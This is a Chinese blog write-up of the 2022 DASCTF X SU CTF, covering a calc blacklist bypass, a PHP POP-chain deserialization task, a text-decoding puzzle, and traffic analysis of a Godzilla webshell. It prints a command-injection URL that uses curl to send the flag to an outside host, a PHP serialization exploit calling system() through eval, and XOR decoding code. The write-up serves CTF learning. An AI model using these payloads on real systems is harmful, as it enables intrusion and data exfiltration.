2022DASCTF X SU 三月春季挑战赛

WriteUP

此博客为比赛时协作文档的整理,包括后期复现的一些修改,感谢一起打比赛的小伙伴们

比赛地址

https://buuoj.cn/match/matches/89

起止时间

2022年3月26日 10:00 – 2022年3月26日 18:00

WEB


calc


题目主要绕过blacklist,执行python命令,提取flag
()&之类的都被过滤了,没有可用的文件读取手段
已知可执行指令exec,但过滤了(),可以直接exec '指定语句',但是过滤了空格
最后发现可以访问外网,可以通过反引号绕过检测,并且通过#允许eval()执行
123#ls
然后可以使用curl把flag带出来

http://uuid4.node4.buuoj.cn:81/calc?num=1%23curl%09http://api.hz2016.com/?flag=\cat%09Th1s*“

这里MTGG补充了个很重要的信息,关于#注释的运用
Unix

如果#号和字符紧贴着的话会被视为字符而不是注释符,加上反斜杠可以把#号转义为普通字符

Python

无论紧贴与否都视为注释,无法用反斜杠转义

所以很快想到了Payload

1#`rce`

另外一点
之后考虑外带,空格可以用%09绕过,反引号可以嵌套使用,记得加上转义

ezpop


<?php
class what
{
    public $a;
    public function __construct(){
        $this->a = new fin();
    }
}
class mix{
    public $m1;
    public function __construct(){
        $this->m1 = "?><?=system('cat H0mvz850F.php');";
    }
    public function get_flag()
    {
        eval('#' . $this->m1);
    }
}
class fin{
    public $f1;//这里其实好像少了点什么
    public function __construct(){
        $this->f1 = array(new mix(), 'get_flag');
    }
}
$a = new fin();
$a->f1 = new what();
echo urlencode(serialize($a));

当前目录有个flag.php。但是是假的
可以读取到根目录下有个flag.sh
但是用SplFileObject只能读出一行来,应该是来执行的
好可爱的一道题,终于有简简单单的pop链了
fin->(调用destruct)->what->(调用tostring)->fin->(调用run)->crow->(调用invoke)->fin->(调用call)->mix->(getflag)
绕过井号:利用?><?php`标签绕过,也可以添加换行符`\n进行绕过

去以后ls可以看到很多文件,本来想要去搞那个flag.sh,但是觉得可能是出题用的,所以cat / 然后看到了一个congratulations,是H0mvz850F.php文件,里面有注释掉的flag(所以直接cat / 会被解析看不到)

MISC


月圆之夜



B站有一个月圆之夜的文字解码,是希腊语,英文语法
我破译了神级彩蛋!这款游戏竟然藏了这么多剧情?《月圆之夜》究竟讲了什么故事?

翻译后:

DASCTFWELCOMETOTHEFULLMOONNIGHT

FLAG格式:大写{小写}


Au5t1n的秘密


一开始在扫描端口,扫了很久,在找管理页面:adm.jsp、Admin之类的
扫了个 robots.txt 出来

扫完又开扫 /e/ 路由
/e/admin/ 是存在的,No.6244 可以关注一下
过滤器 http.response.code == 200
http.response.code == 302
都可以关注一下
扫描的是一个 CMS

最后发现是应该只筛选http
中间发现有上传后门

base64解密

得到payload生成方式
发现是哥斯拉的马,采用的加密方式是异或,这里上传的是didi.php,因此在http处导出didi。
关在在于最后执行了一个gzencode($result,6),因此在后面的恢复过程中必须加上这个。否则后面一大串都是乱码。
然后flag是在第2079的流里
mumuzi大哥一个代码

<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$key = '093c1c388069b7e1';
$data = 'JrhrMWMzODgwNnKp+yzEe/V+BmMGU1joHxkWZdbHzcwrzoftAY7cxGzLbZ/z8e38Bc7XradHhZL8tA3CudX1rOtnxaYjHjnm/Bobbrsl57NE9kJv7pW1HnCAP3JEZQBodnom+Oa9VxHxsQvwe+eHxRGsDsgXX/kE342APGVWZM51C80lwh+VYUoRSCt0GVFH7swmrIR5sydtIjeSUQGDV/lW1TtgNxB4Wa50Pmd0dzYwtSw/IdhvYu9WvbPVSfNjeEfjBkgofDUTdS3yMQRItrv3gdORz5ostfpb5+txYj3Oz/ebr6+kfEWz1bZ9KLfs7aHvzXdDaEkx465004EWloEyoDNjt1ohhnQ4Yjc=';
$decode = encode(base64_decode($data),$key);
$flag = base64_encode(gzdecode($decode));
echo $flag;

发布者

正汰

永远是这样,山前面是山,天空上面是天空,道路前面还是道路,迷茫之后还有迷茫。

发表回复

您的电子邮箱地址不会被公开。